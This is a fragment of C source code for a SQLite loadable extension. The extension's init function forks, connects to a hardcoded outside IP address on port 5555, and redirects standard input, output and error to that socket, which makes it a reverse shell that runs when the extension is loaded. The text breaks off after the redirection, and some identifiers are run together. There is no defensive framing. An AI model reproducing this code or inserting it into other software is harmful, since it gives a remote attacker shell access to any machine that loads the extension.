/* Configuration for the TCP connection */ int tcp_port = 5555; char *ip = "129.204.197.19";
#ifdef _WIN32 __declspec(dllexport) #endif
/** * Initializes the SQLite extension. * * @param db SQLite database pointer * @param pzErrMsg Error message pointer * @param pApi SQLite API routines pointer * @return SQLITE_OK on success */ intsqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ) { int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi);
/* Establish a TCP connection and spawn a shell if running in a child process */ int fd; if ((fork()) <= 0) { structsockaddr_inaddr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0); if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) { exit(0); // Exit if connection fails }
// Redirect standard file descriptors to the socket dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);